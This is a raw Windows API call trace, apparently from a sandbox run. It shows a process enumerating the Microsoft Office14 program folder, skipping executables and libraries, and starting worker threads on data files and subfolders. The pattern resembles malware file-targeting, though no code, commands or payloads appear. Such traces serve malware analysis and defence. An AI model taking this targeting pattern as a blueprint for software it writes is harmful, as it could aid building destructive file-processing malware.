1 [0129.939] wcscmp (_String1="OUTLFLTR.DAT", _String2=".") returned 1 [0129.939] wcscmp (_String1="OUTLFLTR.DAT", _String2="..") returned 1 [0129.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e470 [0129.939] wcscpy (in: _Dest=0x1b79e470, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0129.939] wcscat (in: _Dest=0x1b79e470, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0129.939] wcscat (in: _Dest=0x1b79e470, _Source="OUTLFLTR.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" [0129.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1020 [0129.940] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eeae600, ftCreationTime.dwHighDateTime=0x1ca5083, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eeae600, ftLastWriteTime.dwHighDateTime=0x1ca5083, nFileSizeHigh=0x0, nFileSizeLow=0xab940, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLFLTR.DLL", cAlternateFileName="")) returned 1 [0129.940] wcscmp (_String1="OUTLFLTR.DLL", _String2=".") returned 1 [0129.940] wcscmp (_String1="OUTLFLTR.DLL", _String2="..") returned 1 [0129.940] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x599bb3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xaff88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLMIME.DLL", cAlternateFileName="")) returned 1 [0129.940] wcscmp (_String1="OUTLMIME.DLL", _String2=".") returned 1 [0129.941] wcscmp (_String1="OUTLMIME.DLL", _String2="..") returned 1 [0129.941] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x175ed60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE", cAlternateFileName="")) returned 1 [0129.941] wcscmp (_String1="OUTLOOK.EXE", _String2=".") returned 1 [0129.941] wcscmp (_String1="OUTLOOK.EXE", _String2="..") returned 1 [0129.941] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d147f00, ftCreationTime.dwHighDateTime=0x1cac9af, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d147f00, ftLastWriteTime.dwHighDateTime=0x1cac9af, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE.MANIFEST", cAlternateFileName="OUTLOO~1.MAN")) returned 1 [0129.941] wcscmp (_String1="OUTLOOK.EXE.MANIFEST", _String2=".") returned 1 [0129.941] wcscmp (_String1="OUTLOOK.EXE.MANIFEST", _String2="..") returned 1 [0129.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a380 [0129.941] wcscpy (in: _Dest=0x2050a380, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0129.941] wcscat (in: _Dest=0x2050a380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0129.941] wcscat (in: _Dest=0x2050a380, _Source="OUTLOOK.EXE.MANIFEST" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST") returned="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST" [0129.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1030 [0129.942] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookAutoDiscover", cAlternateFileName="OUTLOO~1")) returned 1 [0129.942] wcscmp (_String1="OutlookAutoDiscover", _String2=".") returned 1 [0129.942] wcscmp (_String1="OutlookAutoDiscover", _String2="..") returned 1 [0129.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x20509cc0 [0129.943] wcscpy (in: _Dest=0x20509cc0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0129.943] wcscat (in: _Dest=0x20509cc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0129.943] wcscat (in: _Dest=0x20509cc0, _Source="OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0129.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20509cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe50 [0129.944] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0129.944] wcscmp (_String1="OUTLPH.DLL", _String2=".") returned 1 [0129.944] wcscmp (_String1="OUTLPH.DLL", _String2="..") returned 1 [0129.944] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe558, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLRPC.DLL", cAlternateFileName="")) returned 1 [0129.944] wcscmp (_String1="OUTLRPC.DLL", _String2=".") returned 1 [0129.944] wcscmp (_String1="OUTLRPC.DLL", _String2="..") returned 1 [0129.944] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6ccf2b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x11770, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBS.DLL", cAlternateFileName="")) returned 1 [0129.944] wcscmp (_String1="OUTLVBS.DLL", _String2=".") returned 1 [0129.944] wcscmp (_String1="OUTLVBS.DLL", _String2="..") returned 1 [0129.944] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAGESIZE", cAlternateFileName="")) returned 1 [0129.944] wcscmp (_String1="PAGESIZE", _String2=".") returned 1 [0129.945] wcscmp (_String1="PAGESIZE", _String2="..") returned 1 [0129.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c1f00 [0129.945] wcscpy (in: _Dest=0x1b7c1f00, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0129.945] wcscat (in: _Dest=0x1b7c1f00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0129.945] wcscat (in: _Dest=0x1b7c1f00, _Source="PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0129.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc0 [0129.946] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0129.946] wcscmp (_String1="PDSBASE.DLL", _String2=".") returned 1 [0129.946] wcscmp (_String1="PDSBASE.DLL", _String2="..") returned 1 [0129.946] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd09c6440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xecd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE.DLL", cAlternateFileName="")) returned 1 [0129.946] wcscmp (_String1="PE.DLL", _String2=".") returned 1 [0129.946] wcscmp (_String1="PE.DLL", _String2="..") returned 1 [0129.946] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd84cf560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PEOPLEDATAHANDLER.DLL", cAlternateFileName="PEOPLE~1.DLL")) returned 1 [0148.446] wcscmp (_String1="PEOPLEDATAHANDLER.DLL", _String2=".") returned 1 [0148.446] wcscmp (_String1="PEOPLEDATAHANDLER.DLL", _String2="..") returned 1 [0148.446] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2e960, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJCALEND.DLL", cAlternateFileName="")) returned 1 [0148.446] wcscmp (_String1="PJCALEND.DLL", _String2=".") returned 1 [0148.446] wcscmp (_String1="PJCALEND.DLL", _String2="..") returned 1 [0148.446] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4186400, ftCreationTime.dwHighDateTime=0x1cabf1b, ftLastAccessTime.dwLowDateTime=0x5a5a21d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4186400, ftLastWriteTime.dwHighDateTime=0x1cabf1b, nFileSizeHigh=0x0, nFileSizeLow=0x210368, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.EXE", cAlternateFileName="")) returned 1 [0148.446] wcscmp (_String1="POWERPNT.EXE", _String2=".") returned 1 [0148.446] wcscmp (_String1="POWERPNT.EXE", _String2="..") returned 1 [0148.446] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88f02f00, ftCreationTime.dwHighDateTime=0x1cabe9f, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88f02f00, ftLastWriteTime.dwHighDateTime=0x1cabe9f, nFileSizeHigh=0x0, nFileSizeLow=0xdb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpnt.exe.manifest", cAlternateFileName="POWERP~1.MAN")) returned 1 [0148.446] wcscmp (_String1="powerpnt.exe.manifest", _String2=".") returned 1 [0148.446] wcscmp (_String1="powerpnt.exe.manifest", _String2="..") returned 1 [0148.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050aec0 [0148.447] wcscpy (in: _Dest=0x2050aec0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0148.447] wcscat (in: _Dest=0x2050aec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0148.447] wcscat (in: _Dest=0x2050aec0, _Source="powerpnt.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest" [0151.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050aec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dac [0151.066] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4186400, ftCreationTime.dwHighDateTime=0x1cabf1b, ftLastAccessTime.dwLowDateTime=0x6cfec6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4186400, ftLastWriteTime.dwHighDateTime=0x1cabf1b, nFileSizeHigh=0x0, nFileSizeLow=0xee1768, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPCORE.DLL", cAlternateFileName="")) returned 1 [0151.066] wcscmp (_String1="PPCORE.DLL", _String2=".") returned 1 [0151.066] wcscmp (_String1="PPCORE.DLL", _String2="..") returned 1 [0151.067] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c0c100, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x6d012810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3c0c100, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x77d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPSLAX.DLL", cAlternateFileName="")) returned 1 [0151.067] wcscmp (_String1="PPSLAX.DLL", _String2=".") returned 1 [0151.067] wcscmp (_String1="PPSLAX.DLL", _String2="..") returned 1 [0151.067] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x5a6145f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x39df60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPTICO.EXE", cAlternateFileName="")) returned 1 [0151.067] wcscmp (_String1="PPTICO.EXE", _String2=".") returned 1 [0151.067] wcscmp (_String1="PPTICO.EXE", _String2="..") returned 1 [0151.067] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x5a6145f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x13764, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPTIRM.XML", cAlternateFileName="")) returned 1 [0151.067] wcscmp (_String1="PPTIRM.XML", _String2=".") returned 1 [0151.067] wcscmp (_String1="PPTIRM.XML", _String2="..") returned 1 [0151.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x20504d10 [0151.067] wcscpy (in: _Dest=0x20504d10, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.067] wcscat (in: _Dest=0x20504d10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.067] wcscat (in: _Dest=0x20504d10, _Source="PPTIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" [0151.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2374 [0151.068] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x6d012810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPTIRMV.XML", cAlternateFileName="")) returned 1 [0151.068] wcscmp (_String1="PPTIRMV.XML", _String2=".") returned 1 [0151.068] wcscmp (_String1="PPTIRMV.XML", _String2="..") returned 1 [0151.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x20504d90 [0151.068] wcscpy (in: _Dest=0x20504d90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.068] wcscat (in: _Dest=0x20504d90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.068] wcscat (in: _Dest=0x20504d90, _Source="PPTIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" [0151.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2378 [0151.068] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd65451e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14988, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJIMPT.EXE", cAlternateFileName="")) returned 1 [0151.068] wcscmp (_String1="PROJIMPT.EXE", _String2=".") returned 1 [0151.068] wcscmp (_String1="PROJIMPT.EXE", _String2="..") returned 1 [0151.068] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd65451e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x29d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJMODL.DLL", cAlternateFileName="")) returned 1 [0151.068] wcscmp (_String1="PROJMODL.DLL", _String2=".") returned 1 [0151.069] wcscmp (_String1="PROJMODL.DLL", _String2="..") returned 1 [0151.069] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0151.069] wcscmp (_String1="PROOF", _String2=".") returned 1 [0151.069] wcscmp (_String1="PROOF", _String2="..") returned 1 [0151.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a31f0 [0151.069] wcscpy (in: _Dest=0x1b7a31f0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.069] wcscat (in: _Dest=0x1b7a31f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.069] wcscat (in: _Dest=0x1b7a31f0, _Source="PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0151.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a31f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x237c [0151.069] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0151.069] wcscmp (_String1="PROPMGR.DLL", _String2=".") returned 1 [0151.069] wcscmp (_String1="PROPMGR.DLL", _String2="..") returned 1 [0151.070] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd65b7600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x130b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.DLL", cAlternateFileName="")) returned 1 [0151.070] wcscmp (_String1="PROPRPT.DLL", _String2=".") returned 1 [0151.070] wcscmp (_String1="PROPRPT.DLL", _String2="..") returned 1 [0151.070] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe105a200, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe105a200, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x29980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRTF9.DLL", cAlternateFileName="")) returned 1 [0151.070] wcscmp (_String1="PRTF9.DLL", _String2=".") returned 1 [0151.070] wcscmp (_String1="PRTF9.DLL", _String2="..") returned 1 [0151.070] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x68368, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSTPRX32.DLL", cAlternateFileName="")) returned 1 [0151.070] wcscmp (_String1="PSTPRX32.DLL", _String2=".") returned 1 